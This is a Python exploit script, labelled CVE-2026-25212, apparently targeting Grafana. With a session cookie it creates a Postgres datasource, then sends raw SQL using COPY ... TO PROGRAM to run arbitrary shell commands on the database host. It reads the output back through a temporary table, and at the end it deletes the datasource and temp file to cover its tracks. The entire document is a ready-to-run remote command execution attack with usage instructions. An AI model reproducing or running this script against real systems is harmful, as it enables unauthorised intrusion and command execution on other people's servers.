#!/usr/bin/env python3 """ CVE-2026-25212 - made by 5170 Usage: python exploit.py -t http://localhost --cookie "abc" -c "id" """ import requests, sys, time, random, string, argparse, urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", required=True) parser.add_argument("--cookie", required=True) parser.add_argument("-c", "--command", default="id") args = parser.parse_args() target = args.target.rstrip('/') session = requests.Session() session.verify = False session.cookies.set("grafana_session", args.cookie) # Create datasource ds_name = f"poc_{int(time.time())}" resp = session.post(f"{target}/graph/api/datasources", json={ "name": ds_name, "type": "postgres", "access": "proxy", "url": "localhost:5432", "database": "postgres", "user": "postgres", "password": "", "jsonData": {"sslmode": "disable"} }) if resp.status_code != 200: sys.exit("[-] Failed to create datasource") uid = resp.json()['datasource']['uid'] print(f"[+] UID: {uid}") def query(sql): return session.post(f"{target}/graph/api/ds/query", json={ "from": "5m", "to": "now", "queries": [{ "refId": "A", "intervalMs": 1, "maxDataPoints": 1, "datasource": {"uid": uid, "type": "postgres"}, "rawSql": sql, "format": "table" }] }) # Run command and capture output random_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) tmp = f"/tmp/pwned_{random_name}" query(f"COPY (SELECT 1) TO PROGRAM '{args.command} > {tmp} 2>&1';") resp = query(f"CREATE TEMP TABLE t(line text); COPY t FROM '{tmp}'; SELECT * FROM t;") # Print output try: vals = resp.json()['results']['A']['frames'][0]['data']['values'][0] print('\n'.join(vals) if vals else "[!] No output") except: print("[!] No output or parse error") # Cleanup session.delete(f"{target}/graph/api/datasources/uid/{uid}") query(f"COPY (SELECT 1) TO PROGRAM 'rm -f {tmp}';") print("[+] Done")